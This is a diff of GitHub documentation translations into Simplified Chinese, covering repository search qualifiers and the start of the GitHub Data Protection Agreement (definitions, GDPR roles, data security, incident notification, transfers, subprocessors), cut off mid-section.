有关详细信息,请参阅“[归档存储库](/repositories/archiving-a-github-repository/archiving-repositories)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) matches repositories that are archived and contain the word "GNOME." -| `archived:false` | [**archived:false GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) matches repositories that are not archived and contain the word "GNOME." +| `archived:true` | [**archived:true GNOME**](https://github.com/search?utf8=%E2%9C%93&q=archived%3Atrue+GNOME&type=) 匹配已存档且包含“GNOME”一词的存储库。 +| `archived:false` | [](https://github.com/search?utf8=%E2%9C%93&q=archived%3Afalse+GNOME&type=) 匹配未存档且包含“GNOME”一词的存储库。 {% ifversion fpt or ghec %} -## Search based on number of issues with `good first issue` or `help wanted` labels +## 根据带有 `good first issue` 或 `help wanted` 标签的议题数进行搜索 -You can search for repositories that have a minimum number of issues labeled `help-wanted` or `good-first-issue` with the qualifiers `help-wanted-issues:>n` and `good-first-issues:>n`. For more information, see "[Encouraging helpful contributions to your project with labels](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)." +可以使用限定符 `help-wanted-issues:>n` 和 `good-first-issues:>n` 搜索具有最少标有 `help-wanted` 或 `good-first-issue` 的议题的存储库。 有关详细信息,请参阅“[使用标签鼓励对项目做出有益的贡献](/communities/setting-up-your-project-for-healthy-contributions/encouraging-helpful-contributions-to-your-project-with-labels)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| `good-first-issues:>n` | [**`good-first-issues:>2 javascript`**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) matches repositories with more than two issues labeled `good-first-issue` and that contain the word "javascript." -| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) matches repositories with more than four issues labeled `help-wanted` and that contain the word "React." +| `good-first-issues:>n` | [ **`good-first-issues:>2 javascript`**](https://github.com/search?utf8=%E2%9C%93&q=javascript+good-first-issues%3A%3E2&type=) 匹配具有两个以上标有 `good-first-issue` 的议题且包含“javascript”一词的存储库。 +| `help-wanted-issues:>n`|[**help-wanted-issues:>4 react**](https://github.com/search?utf8=%E2%9C%93&q=react+help-wanted-issues%3A%3E4&type=) 匹配具有四个以上标有 `help-wanted` 的议题且包含“React”一词的存储库。 -## Search based on ability to sponsor +## 基于赞助能力的搜索 -You can search for repositories whose owners can be sponsored on {% data variables.product.prodname_sponsors %} with the `is:sponsorable` qualifier. For more information, see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." +可以使用 `is:sponsorable` 限定符搜索其所有者可以在 {% data variables.product.prodname_sponsors %} 上获得赞助的存储库。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)”。 -You can search for repositories that have a funding file using the `has:funding-file` qualifier. For more information, see "[About FUNDING files](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)." +可以使用 `has:funding-file` 限定符搜索具有融资文件的存储库。 有关详细信息,请参阅“[关于融资文件](/github/administering-a-repository/managing-repository-settings/displaying-a-sponsor-button-in-your-repository#about-funding-files)”。 -| Qualifier | Example +| 限定符 | 示例 | ------------- | ------------- -| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) matches repositories whose owners have a {% data variables.product.prodname_sponsors %} profile. -| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) matches repositories that have a FUNDING.yml file. +| `is:sponsorable` | [**is:sponsorable**](https://github.com/search?q=is%3Asponsorable&type=Repositories) 匹配其所有者拥有 {% data variables.product.prodname_sponsors %} 配置文件的存储库。 +| `has:funding-file` | [**has:funding-file**](https://github.com/search?q=has%3Afunding-file&type=Repositories) 匹配具有 FUNDING.yml 文件的存储库。 {% endif %} -## Further reading +## 延伸阅读 -- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" -- "[Searching in forks](/search-github/searching-on-github/searching-in-forks)" +- “[对搜索结果进行排序](/search-github/getting-started-with-searching-on-github/sorting-search-results/)” +- “[在分支中搜索](/search-github/searching-on-github/searching-in-forks)” diff --git a/translations/zh-CN/content/site-policy/privacy-policies/github-data-protection-agreement.md b/translations/zh-CN/content/site-policy/privacy-policies/github-data-protection-agreement.md new file mode 100644 index 0000000000..2baa8c9e3b --- /dev/null +++ b/translations/zh-CN/content/site-policy/privacy-policies/github-data-protection-agreement.md @@ -0,0 +1,1002 @@ +--- +title: GitHub 数据保护协议 +redirect_from: +- /github/site-policy/github-data-protection-addendum +- /github/site-policy-deprecated/github-data-protection-addendum +- /github/site-policy/github-data-protection-agreement-non-enterprise-customers +- /github/site-policy/github-data-protection-agreement +versions: + fpt: '*' +ms.openlocfilehash: 91cef1674fbe12ac10a22cc3f41fcea35e93d90e +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 08/29/2022 +ms.locfileid: "144556501" +--- +## 简介 + +双方同意,本《GitHub 数据保护协议》(以下简称“**DPA**”)规定了他们在个人数据,以及与 GitHub, Inc.(以下简称“**GitHub**”)提供的在线服务相关的客户数据(如果 DPA 条款中明确规定)的处理和安全方面的义务。 DPA(包括其附录和附件)是 GitHub 与根据 GitHub 客户协议从 GitHub 获取在线服务的任何客户(以下简称“**客户**”)之间的协议,并通过引用并入 GitHub 客户协议。 + +如果 DPA 条款与 GitHub 客户协议中的任何其他条款之间存在任何冲突或不一致,则以 DPA 条款为准。 DPA 条款的规定取代 GitHub 隐私声明中可能适用于个人数据处理的任何相互冲突的规定。 为明确起见,标准合同条款优先于 DPA 条款的任何其他条款。 + +### 适用的 DPA 条款与更新 + +#### 更新限制 + +当客户续订或新订购在线服务时,应遵守当时的 DPA 条款,且该 DPA 条款在该在线服务的新订购有效期内不会更改。 + +#### 新功能、补充程序或相关软件 + +尽管已规定上述更新限制,当 GitHub 推出新的功能、补充程序或相关软件(即以前的订购不包含的内容)时,可能会提供客户使用这些新的功能、补充程序或相关软件应遵循的条款,或者更新相应的 DPA。 如果这些条款中包含对 DPA 条款的任何实质性不利变更,GitHub 将为客户提供新的功能、补充程序或相关软件以供其使用,且不会失去一般在线服务的现有功能。 如果客户不使用新功能、补充程序或相关软件,则相应的新条款将不适用。 + +#### 政府规定和要求 + +尽管已有上述更新限制规定,但在以下情形中,GitHub 可能会修改或终止特定国家/地区或管辖权地的在线服务:(1) 这些国家/地区或管辖权地当前或未来的任何政府要求或义务要求 GitHub 遵守并非普遍适用于在当地运营的所有企业的任何法规或要求;(2) 由于存在该等政府要求或义务,如果 GitHub 不对在线服务进行修改,则将无法继续运营在线服务;(3) 基于该等政府要求或义务,GitHub 认为这些 DPA 条款或在线服务可能与此类要求或义务相冲突。 + +### 电子通知 + +GitHub 可能会以电子方式(包括通过电子邮件或 GitHub 识别的网站)向客户提供有关在线服务的信息和通知。 通知自 GitHub 发出之日起生效。 + +### 早期版本 + +DPA 条款提供适用于当前可用的在线服务的条款。 如需 DPA 条款的早期版本,客户可以联系其经销商或 GitHub 客户经理。 + +## 定义 + +本 DPA 中使用但未定义的术语应沿用其在 GitHub 客户协议中的含义。 在本 DPA 中会使用以下术语(定义如下): + +“**CCPA**”是指加州民法典 §1798.100 et seq. 中所规定的 《加州消费者隐私法案》 及其实施条例。 + +“客户数据”指客户通过使用在线服务向 GitHub 提供或以 GitHub 的名义提供的所有数据,包括所有文本、声音、视频或图像文件以及软件。 + +“**数据保护要求**”指 GDPR、当地 EU/EEA 数据保护法律、CCPA 和任何适用的法律法规,以及与以下两方面相关的其他法律要求:(a) 隐私和数据安全;(b) 任何个人数据的使用、收集、保留、存储、保护、披露、传输、处置及其他处理。 + +“**诊断数据**”指 GitHub 从客户本地安装软件中收集或获取的与在线服务相关的数据。 诊断数据也可称为遥测。 诊断数据不包括客户数据、服务生成数据或专业服务数据。 + +“**DPA 条款**”是指本 DPA 中的条款以及 GitHub 客户协议中任何在线服务特定条款,这些条款专门针对特定在线服务(或在线服务功能)补充或修改本 DPA 中的隐私和安全条款。 如果 DPA 与此类在线服务特定条款之间存在任何冲突或不一致,则对于适用的在线服务(或在线服务的功能),须以在线服务特定条款为准。 + +“**GDPR**”是指欧洲议会和欧盟理事会 2016 年 4 月 27 日颁布的,关于在处理个人数据时对自然人的保护、此类数据的自由移动以及废除指令 95/46/EC 的法规 (EU) 2016/679(一般数据保护条例)。 就英国而言,“GDPR”是指由《2018 年英国欧盟(退出)法》转入英国国家法律的法规 (EU) 2016/679,并由《2019 年英国数据保护、隐私和电子通信(修正案等)(退出欧盟)条例》修订(可能会不时修订)。 + +“**当地 EU/EEA 数据保护法律**”是指实施 GDPR 的任何附属法律和法规。 + +“**GDPR 相关条款**”是指 附件 3 中的条款,根据这些条款,GitHub 会按照 GDPR 第 28 条的要求,就其个人数据处理活动作出具有约束力的承诺。 + +“**GitHub 关联公司**”是指直接或间接控制 GitHub、由 GitHub 控制或 GitHub 参与共同控制的任何实体。 + +“**GitHub 客户协议**”是指客户就在线服务与 GitHub 签订的服务协议或其他协议。 + +“**GitHub 隐私声明**”是指 https://docs.github.com/en/github/site-policy/github-privacy-statement 上提供的 GitHub 隐私声明。 + +“**在线服务**”是指 GitHub 根据与客户商定的 GitHub 客户协议向客户提供的任何服务或软件,包括预览、更新、补丁、Bug 修复和技术支持。 + +“个人数据”是指与已确定身份或可确定身份的自然人相关的任何信息。 可确定身份的自然人指能够直接或间接地通过身份标识(例如,姓名、身份证号、位置数据、在线身份标识)或特定于该自然人身体、生理、基因、心理、经济、文化或社会身份的一个或多个因素确定其身份的人。 + +“**预览版**”是指为预览、评估、演示或试用目的而提供的在线服务,或在线服务的预发布版本。 + +“**专业服务数据**”是指客户为获取专业服务,由客户或客户代表向 GitHub 提供(或客户授权 GitHub 通过在线服务获取)或者由 GitHub 或 GitHub 代表依据客户与 GitHub 签订的合约获取或处理的所有数据,包括所有文本、声音、视频、图像文件或软件。 专业服务数据包括支持数据。 + +“**服务生成数据**”指 GitHub 通过在线服务的操作生成或派生的数据。 服务生成数据不包括客户数据、诊断数据或专业服务数据。 + +“**标准合同条款**”是指根据下面本 DPA 中“数据传输和位置”一节适用于个人情况、用于个人数据传输的标准合同条款之一: +- 2021 年 6 月 4 日的标准合同条款(模块 2:从控制方转移到处理方),如 GDPR 第 46 条所述并经欧盟委员会执行决定 (EU) 2021/91 批准,用于根据欧洲议会和理事会的法规 (EU) 2016/679 将个人数据传输到第三国(“标准合同条款 (EU/EEA)”)。 标准合同条款 (EU/EEA) 位于附件 1 中。 +- 2010 年 2 月 5 日发布的标准合同条款(处理方),如 GDPR 第 46 条所述,经欧盟委员会第 2010/87/EU 号决定批准,并经英国监管或监督机构认可用于与从英国传输数据相关的用途,适用于将个人数据传输到在第三国成立的处理方(这些处理方不保证提供足够程度的数据保护)的情形(“标准合同条款 (UK)”)。 标准合同条款 (UK) 位于附件 2 中。 + +“**子处理方**”是指 GitHub 用于代表客户处理与在线服务相关的个人数据的其他处理方,如 GDPR 第 28 条所述。 + +“**支持数据**”指客户为获取本协议所涵盖的在线服务的技术支持,由客户或客户代表通过与 GitHub 签订的合约向 GitHub 提供(或客户授权 GitHub 通过在线服务获取)的所有数据,包括所有文本、声音、视频、图像文件或软件。 支持数据是专业服务数据的一部分。 + +本 DPA 中使用但未定义的术语(例如“个人数据泄露”、“处理”、“控制方”、“处理方”、“概况分析”、“个人数据”和“数据主体”)将沿用 GDPR 第 4 条所定义的含义,而不管 GDPR 是否适用。 术语“数据输入者”和“数据输出者”具有标准合同条款中规定的含义。 + +为明确起见,如上所述,定义为客户数据、诊断数据、服务生成数据和专业服务数据的数据可能包含个人数据。 为了便于说明,请参见下面插入的图表: + +
personal_data_types
+ +以上是 DPA 中定义的数据类型的可视化表示形式。 所有个人数据均作为其他数据类型的一部分处理(所有这些数据也包括非个人数据)。 支持数据是专业服务数据的一部分。 除非另有明确说明,否则 DPA 条款仅适用于个人数据。 + +## 一般条款 + +### 遵守法律 + +GitHub 将遵守适用于其对在线服务的提供的所有法律和法规,包括安全违规行为通知法和数据保护要求。 但是,GitHub 不负责遵守适用于客户或客户行业,但通常不适用于信息技术服务提供商的任何法律或法规。 GitHub 不确定客户数据是否包含受任何特定法律或法规约束的信息。 所有安全事件均受下面的安全事件通知条款约束。 + +客户必须遵守与其使用在线服务相关的所有适用法律和法规,包括与生物数据、通信保密和数据保护要求相关的法律。 客户应负责确定在线服务是否适合用于存储和处理受特定法律或法规约束的信息,且有责任以符合客户的法律和法规义务的方式使用在线服务。 客户负责响应第三方就客户对在线服务的使用提出的任何要求,如要求根据美国《千禧年数字著作权法案》或其他适用法律下架内容。 + +## 数据保护条款 + +本部分 DPA 包括以下小节: +- 范围 +- 数据处理的性质;所有权 +- 已处理数据的披露 +- 个人数据处理;GDPR +- 数据安全 +- 安全事件通知 +- 数据传输和位置 +- 数据保留和删除 +- 处理方保密承诺 +- 有关使用子处理方的通知和管理 +- 教育机构 +- CJIS 客户协议、HIPAA 业务伙伴、生物识别数据 +- 加州消费者隐私法案 (CCPA) +- 如何联系 GitHub +- 附录 A – 安全措施 + +### 范围 + +DPA 条款适用于所有在线服务。 + +与在线服务通常采用的隐私和安全措施相比,预览版采用的此类措施可能会减少或有所不同。 除非另有规定,否则客户不应使用预览版来处理具有法律或法规遵从性要求的个人数据或其他数据。 本 DPA 中的以下条款对预览版不适用:个人数据处理;GDPR、数据安全和加州消费者隐私法案。 + +### 数据处理的性质;所有权 + +除非 DPA 条款中另有规定,否则 GitHub 将按照所述使用和以其他方式处理客户数据和个人数据,并在 (a) 根据客户的书面指示向客户提供在线服务,和/或 (b) 为了向客户交付在线服务而进行合法的业务经营活动时,遵守下述限制。 在双方之间,客户保有对客户数据的所有权利、所有权和权益。 除了本节中客户授予 GitHub 的权利之外,GitHub 未获得有关客户数据的任何权利。 本段落不影响 GitHub 在其许可给客户的软件或服务中的权利。 + +#### 处理数据以便为客户提供在线服务 + +就本 DPA 而言,“提供”在线服务包括: +- 交付客户及其用户所许可、配置和使用的功能,包括提供个性化用户体验; +- 故障排除(例如预防、检测和修复问题);以及 +- 持续改进(例如安装最新更新,以及对用户生产力、可靠性、效力和安全性进行改进)。 + +在提供在线服务时,GitHub 将仅代表客户并按照客户的书面指示使用或以其他方式处理个人数据。 + +#### 为保证 GitHub 的合法经营活动而进行处理 + +就本 DPA 而言,“GitHub 的合法经营活动”由以下各项组成,每项均作为向客户交付在线服务的一个事件:(1) 帐单和帐户管理;(2) 报酬(例如计算员工佣金和合作伙伴奖励);(3) 内部报告和业务建模(例如,预测、收入、产能规划、产品战略);(4) 打击可能影响 GitHub 或在线服务的欺诈、滥用、网络犯罪或网络攻击;(5) 改进可访问性、隐私或能效等核心功能;以及 (6) 财务报告和履行法律义务(遵守下文概述的已处理数据的披露限制);(7) GitHub 为客户个人用户创建或管理最终用户帐户和配置文件(除非客户自己创建、管理或以其他方式控制此类最终用户帐户或配置文件);(8) 与客户未提供的个人数据相关的其他目的,这些数据存储在 GitHub 存储库中或与专业服务相关。 + +在处理 GitHub 的合法业务运营时,GitHub 将不会出于以下目的使用或以其他方式处理专业服务数据:(a) 用户分析,(b) 广告或类似商业目的,(c) 数据销售或经纪,或 (d) 本节规定的目的以外的任何其他目的。 + +### 已处理数据的披露 + +GitHub 将不会披露或允许任何人访问已处理的数据,除非:(1) 客户指示;(2) 本 DPA 规定;或者 (3) 法律要求。 就本节而言,“已处理数据”指:(a) 客户数据;(b) 个人数据;以及 (c) GitHub 根据 GitHub 客户协议处理的与在线服务相关的、属于客户机密信息的任何其他数据。 所有已处理数据的处理都应遵守 GitHub 客户协议中的保密义务。 + +除非法律要求,否则 GitHub 不会向执法部门披露或允许其访问已处理数据。 如果执法部门要求 GitHub 提供已处理数据,GitHub 将建议执法部门直接与客户联系,由客户向其提供相关数据。 如果执法部门强制要求 GitHub 向其披露或允许其访问已处理数据,GitHub 将立即通知客户并提供要求的副本,除非法律禁止提供。 + +收到任何其他第三方对已处理数据的请求后,GitHub 应立即通知客户,除非法律禁止这样做。 除非法律要求,否则 GitHub 将拒绝相关请求。 如果该请求有效,GitHub 将尝试安排第三方直接从客户处请求数据。 + +GitHub 不会向任何第三方提供:(a) 对已处理数据的直接、间接、全部或自由访问权限;(b) 用于保护已处理数据安全的平台加密密钥或破解此类加密的能力;或 (c) 对已处理数据的访问权限(如果 GitHub 意识到相关数据将用于第三方的请求中所述目的以外的目的)。 + +为支持上述条款,GitHub 可能会向第三方提供客户的基本联系信息。 + +### 个人数据处理;GDPR + +GitHub 处理的与在线服务相关的所有个人数据均作为客户数据、专业服务数据(包括支持数据)、诊断数据或服务生成数据的一部分获取。 客户通过使用在线服务向 GitHub 提供或以他们的名义提供的所有数据也是客户数据。 假名标识符可能包含在诊断数据或服务生成数据中,也属于个人数据。 假名化或去标识化但不匿名的任何个人数据,或从个人数据派生的个人数据同样属于个人数据。 + +如果 GitHub 是受 GDPR 约束的个人数据的处理方或子处理方,则该处理活动受附件 3 中 GDPR 相关条款的约束,并且双方还同意本小节(“个人数据的处理;GDPR”)中的以下条款: + +#### 处理方与控制方的角色与职责 + +客户和 GitHub 同意,客户是个人数据的控制方,GitHub 是此类数据的处理方,除非 (a) 客户充当个人数据的处理方,此时 GitHub 是子处理方;或 (b) GitHub 客户协议或本 DPA 中另有规定。 当 GitHub 充当个人数据的处理方或子处理方时,它将仅代表客户并按照客户的书面指示处理个人数据。 客户同意,其 GitHub 客户协议(包括 DPA 条款和任何适用的更新)连同产品文档以及客户使用和配置在线服务中相关功能的活动,系客户就个人数据的处理向 GitHub 作出的完整书面指示。 可以在 https://docs.github.com 或后续位置中找到有关在线服务的使用和配置的信息。 任何附加或替代的说明必须依照修订客户的 GitHub 客户协议的流程得到认可。 在适用 GDPR 且客户是处理方的任何情况下,客户向 GitHub 保证,客户的指示(包括任命 GitHub 作为处理方或子处理方)已获得相关控制方的授权。 + +如果 GitHub 在向客户提供在线服务的合法经营活动中须遵照 GDPR 使用或以其他方式处理个人数据,则 GitHub 将遵守 GDPR 针对此类使用规定的独立数据控制方应尽的义务。 GitHub 为保证合法经营活动而处理此类数据时,应接受 GDPR 针对数据“控制方”规定的额外责任,以便:(a) 在 GDPR 规定的范围内,遵守法规要求;(b) 为客户提供更高的透明度,并确认 GitHub 在进行此类处理时应承担的责任。 GitHub 使用保护措施保护正在处理的个人数据,包括本 DPA 中指明以及 GDPR 第 6(4) 条中所述的数据。 对于本段落所述的个人数据处理,GitHub 做出附件 1附件 2(如适用)中所述标准合同条款中规定的承诺;出于这些目的,(i) 与 GitHub 的合法业务运营相关的任何 GitHub 披露个人数据(如附件 1 的附录 III 或附件 2 的附录 3(如适用)所述)被视为“相关披露”,并且 (ii) 附件 1 的附录 III 或附件 2 的附录 3(如适用)中的承诺适用于此类个人数据。 + +#### 处理详细信息 + +双方确认并同意: + +- **主题**。 处理活动的主题仅限于本 DPA 前文中的“数据处理的性质;所有权”一节以及 GDPR 范围内的个人数据。 +- **处理活动的持续时间**。 处理活动的持续时间须符合客户指令和 DPA 条款。 +- **处理活动的性质和目的**。 处理活动的性质和目的须为依照客户的 GitHub 客户协议提供在线服务,以及保证 GitHub 向客户提供在线服务时的合法经营活动(详见本 DPA 前文中的“数据处理的性质;所有权”一节)。 +- **数据类别**。 GitHub 在提供在线服务时处理的个人数据类型包括:(i) 客户选择包含在客户数据或专业服务数据中的个人数据(包括但不限于支持数据);(ii) GDPR 第 4 条中明确识别的可能包含在诊断数据或服务生成数据中的个人数据。 客户选择包含在客户数据或专业服务数据(包括但不限于支持数据)中的个人数据类型,可能是客户根据 GDPR 第 30 条作为控制方维护的记录中确定的任何类别的个人数据,包括附件1 附录 I 或附件 2 附录 1(如适用)中所述的个人数据类别。 +- 数据主体。 数据主体的类别是客户的代表和最终用户,例如员工、承包商、合作方和客户,可能包括客户根据 GDPR 第 30 条作为控制方维护的记录中指明的任何其他类别的数据主体,包括附件 1 附录 I 或附件 2 附录 1(如适用)中所述的数据主体类别。 + +#### 数据主体权利;请求协助 + +GitHub 向客户提供服务将符合在线服务功能以及 GitHub 作为数据主体的个人数据处理方的角色,有能力满足数据主体要求行使 GDPR 赋予的权利的请求。 如果 GitHub 接收到客户数据主体发出的要求行使 GDPR 赋予的一项或多项权利的请求,该请求涉及 GitHub 是数据处理方或子处理方的在线服务,则 GitHub 应让数据主体直接向客户提出请求。 客户负责回应任何此类请求,包括必要时使用在线服务的功能。 GitHub 满足客户的合理请求,协助客户响应此类数据主体请求。 + +#### 处理活动的记录 + +如果 GDPR 要求 GitHub 收集和维护与客户有关的某些信息的记录,客户将应要求将此类信息提供给 GitHub,并保持其准确和最新。 如果 GDPR 要求,GitHub 可将任何此类信息提供给监管机关。 + +### 数据安全 + +GitHub 将实施和维护适当的技术和组织措施以及安全保障措施,以防止意外或非法破坏、丢失、更改、未经授权披露或访问 GitHub 代表客户处理的客户数据和个人数据,并按照客户与在线服务相关的书面指示进行处理。 GitHub 将定期监控这些措施和保障措施的遵守情况,并在 GitHub 客户协议的整个期限内继续采取适当措施。 附录 A – 安全保护措施包含对 GitHub 实施的技术和组织措施以及安全保护措施的描述。 + +客户需自行负责独立确定在线服务的技术和组织措施以及安全保障措施是否符合客户的要求,包括其在适用的数据保护要求下的任何安全义务。 客户承认并同意(考虑现有技术、实施成本、处理其客户数据和个人数据的性质、范围、背景和目的,以及自然人权利和自由的不同可能性和严重性的风险),GitHub 对于其客户数据和个人数据实施和维护的技术、组织措施和安全保障措施提供了适合于风险的安全级别。 客户负责实施和维护客户提供或控制的组件的隐私保护和安全措施。 + +GitHub 将根据客户要求提供安全合规性报告,例如外部 SOC1、类型 2 和 SOC2、类型 2 审计报告。 客户同意,适用的数据保护要求(包括 GDPR 第 28(3)(h) 条)授予的任何信息和审计权利将由这些合规性报告满足,并且仅在 GitHub 提供的合规性报告未提供足够信息的情况下,或者在客户必须响应监管或监督机构审计或调查的范围内出现。 + +如果客户受到监管或监督机构的审计或调查,或因应监管或监督机构的要求进行需要 GitHub 参与的审计或调查,并且无法通过 GitHub 通常向其客户提供的审计报告、文档或合规性信息合理地履行客户的义务(在客户监管机构允许的情况下),则 GitHub 将根据以下条款和条件及时响应客户的附加说明和信息请求: + +- GitHub 将提供接触具备丰富相关知识的人员的机会,以及对相关文档和应用程序软件的访问权限。 +- 客户和 GitHub 将在事先的书面协议(电子邮件可接受)中就范围、时间、持续时间、控制和证据要求达成一致,前提是此同意要求不允许 GitHub 不合理地延迟其合作。 +- 客户必须确保其监管机构在正常工作时间内使用独立的、经认可的第三方审计公司,提前向 GitHub 发出合理的书面通知,并遵守合理的保密程序。 客户、其监管机构或其监管机构的代表均无权访问 GitHub 其他客户的任何数据,也无权访问未参与在线服务的 GitHub 系统或设施。 +- 客户负责承担与 GitHub 与客户监管审计合作相关的所有成本和费用,包括 GitHub 所花费的任何和所有时间的所有合理成本和费用,以及 GitHub 执行的服务费率。 +- 如果 GitHub 与客户监管审计合作生成的报告包含与 GitHub 相关的任何调查结果,客户将在客户监管机构允许的情况下与 GitHub 共享此类报告、调查结果和建议的操作。 + +### 安全事件通知 + +如果 GitHub 意识到存在会导致客户数据或者 GitHub 代表客户并按照客户与在线服务相关的书面指示处理的个人数据意外或非法销毁、丢失、篡改、未授权披露或访问的安全违例活动(每一个都属于一次“安全事件”),GitHub 将及时 (1) 向客户通知安全事件;(2) 调查安全事件并向客户提供安全事件的详细信息;(3) 采取合理的措施降低影响,并尽可能减少安全事件造成的损害。 + +安全事件通知将通过 GitHub 选择的任何方式(包括电子邮件)发送给客户的一个或多个管理员。 客户应自行负责确保其提供给 GitHub 的联系信息的准确性,确保客户的管理员监控并响应任何通知。 客户全权负责遵守适用于客户的事件通知法规下的义务,履行与任何安全事件相关的任何第三方通知义务。 + +GitHub 将尽合理努力协助客户履行 GDPR 第 33 条或其他适用法律或法规规定的客户义务,将安全事件通知相关监管或监督机构以及个人数据主体。 + +GitHub 根据本节规定通知或响应安全事件不表示 GitHub 承认与安全事件有关的任何过错或责任。 + +如有任何可能的帐户或身份验证凭据的误用或任何与在线服务有关的安全事件,客户必须立刻通知 GitHub。 + +### 数据传输和位置 + +GitHub 代表客户并按照客户与在线服务相关的书面指示处理的个人数据不得传输到某个地理位置,也不得在某个地理位置进行存储和处理,除非符合 DPA 条款和本节下面提供的保护措施。 考虑到此类保护措施,客户指定 GitHub 将个人数据传输到美国或 GitHub 或其子处理方运营的任何其他国家/地区,并存储和处理个人数据以提供在线服务,除非这些 DPA 条款中另有说明。 + +在欧盟、欧洲经济区、英国和瑞士以外地区为提供在线服务而进行的所有客户数据和个人数据的传输活动都须受附件 1 中标准合同条款 (EU/EEA) 的约束。 在英国以外地区为提供在线服务而进行的所有客户数据和个人数据的传输活动都须受附件 2 中标准合同条款 (UK) 的约束。 就附件 2 中的标准合同条款 (UK) 而言,对“欧盟”、“EU”、“欧洲经济区”、“EEA”或“成员国”的引用须被解释为在合理必要和适当的情况下指代英国,以使标准合同条款 (UK) 在从英国传输个人数据的场景中具备完整的效力和影响。 无论自 2020 年 1 月 31 日起,英国是否不再是欧盟或欧洲经济区的成员国,这都适用。 + +在每种情况下,GitHub 都将遵守适用的欧盟、欧洲经济区、英国和瑞士数据保护法以及其他数据保护要求,以将个人数据传输到此类司法管辖区以外的接收方或司法管辖区。 在适用的情况下,所有此类个人数据的传输都将受到 GDPR 第 46 条所述的适当保护措施的约束,并且此类传输和保护措施将根据 GDPR 第 30(2) 条进行记录。 + +在遵守上述保护措施的情况下,GitHub 可能会自行决定将个人数据传输到全球司法管辖区和地理位置,并在其自行决定认为与在线服务相关的合理必要范围内传输、存储和以其他方式处理个人数据。 + +### 数据保留和删除 + +根据客户的合理要求,除非法律禁止,否则 GitHub 将在存储在线服务的所有位置,代表 GitHub 并按照客户与在线服务相关的书面指示,在请求后 30 天内归还或销毁 GitHub 处理的所有客户数据和个人数据,前提是不再需要这些数据和个人数据来提供在线服务或数据主体已授权处理其个人数据。 GitHub 可能会在适用的数据保护要求或其他适用法律要求的范围内保留客户数据或个人数据,并且仅在适用的数据保护要求或其他适用法律要求的范围和期限内保留,前提是 GitHub 将确保仅在必要时出于适用数据保护要求或其他适用法律规定的目的处理客户数据或个人数据,而不会出于其他目的进行处理,并且客户数据或个人数据仍受适用的数据保护要求或其他适用法律的保护。 + +### 处理方保密承诺 + +GitHub 将确保其代表客户处理与在线服务相关的客户数据和个人数据的人员 (i) 将仅根据客户的指示或本 DPA 中所述处理此类数据,并且 (ii) 即使在其参与结束后,也有义务维护此类数据的机密性和安全性。 GitHub 须根据适用的数据保护要求或其他适用法律和行业标准,定期为具有客户数据和个人数据访问权限的员工提供强制性的数据隐私和安全培训与教育。 + +### 有关使用子处理方的通知和管理 + +GitHub 可能会聘用子处理方来代表 GitHub 提供某些有限或辅助服务。 客户同意这种参与方式并且同意 GitHub 关联公司以子处理方的身份进行参与。 如果根据适用法律、标准合同条款或 GDPR 相关条款需要此类同意,上述授权将构成客户事先书面同意 GitHub 分包处理个人数据。 + +GitHub 应负责保证其子处理方履行本 DPA 中规定的 GitHub 的义务。 GitHub 在 GitHub 网站 https://github.com/subprocessors(或后续位置)上提供有关子处理方的信息。 雇用任何子处理方时,GitHub 将通过书面合同确保子处理方仅可为交付 GitHub 委托提供的服务而访问和使用客户数据或个人数据,而不得将客户数据或个人数据用于任何其他目的。 GitHub 应确保子处理方受相应书面协议的约束,且此类协议须要求子处理方至少提供本 DPA 要求 GitHub 提供的数据保护级别,包括个人数据的披露限制。 GitHub 同意监督子处理方,以确保履行这些合同义务。 + +GitHub 可能不时雇用新的子处理方。 在向任何新的子处理方提供访问客户数据的权限之前,GitHub 将会通知客户(通过更新网站 https://github.com/github-subprocessors-list 或后续位置),并且向客户提供获取任何新子处理方更新通知的机制。 如果 GitHub 为新的在线服务聘请了新的子处理方,GitHub 将在该在线服务可用之前通知客户。 + +如果客户不认可新的子处理方,则可以终止对受影响在线服务的任何订购,而不会受到处罚,但前提是应在相关通知期结束之前提供书面终止通知。 客户还可以随终止通知一起解释不认可的理由,以便 GitHub 能够根据适用的顾虑重新评估任何此类新的子处理方。 如果受影响的在线服务是套件(或单独购买的服务)的一部分,则任何终止在线服务的行为也将适用于整个套件。 终止后,GitHub 将从后续客户账单或客户经销商账单中删除对已终止在线服务的任何订购的付款义务。 + +### 教育机构 +如果客户是受《家庭教育权和隐私权法案》(20 U.S.C. § 1232g) (FERPA) 或类似的州学生或教育隐私法(统称为“教育隐私法”)约束的教育机构或机构,未经 GitHub 事先书面和明确同意并与 GitHub 签订单独的协议来管理各方在 GitHub 处理与在线服务相关的此类个人数据方面的权利和义务,客户不得向 GitHub 提供此类教育隐私法所涵盖的个人数据。 + +根据上述规定,如果客户打算向 GitHub 提供 FERPA 所涵盖的个人数据,则双方同意并承认,就本 DPA 而言,GitHub 属于“学校官方”,享有个人数据包含的“合法的教育利益”(这些术语已根据 FERPA 及其实施法规进行了定义)。 客户了解,GitHub 可能仅掌握有限的客户的学生和学生父母的联系信息或并不拥有此类信息。 因此,客户将负责就任何最终用户使用适用法律可能要求的在线服务征得任何学生或家长的同意,并代表 GitHub 向学生(或者,对于未满 18 岁且未在高等教育机构就读的学生,向学生家长)通知要求根据适用法律的要求披露 GitHub 拥有的个人数据的任何司法命令或法律传票。 + +### 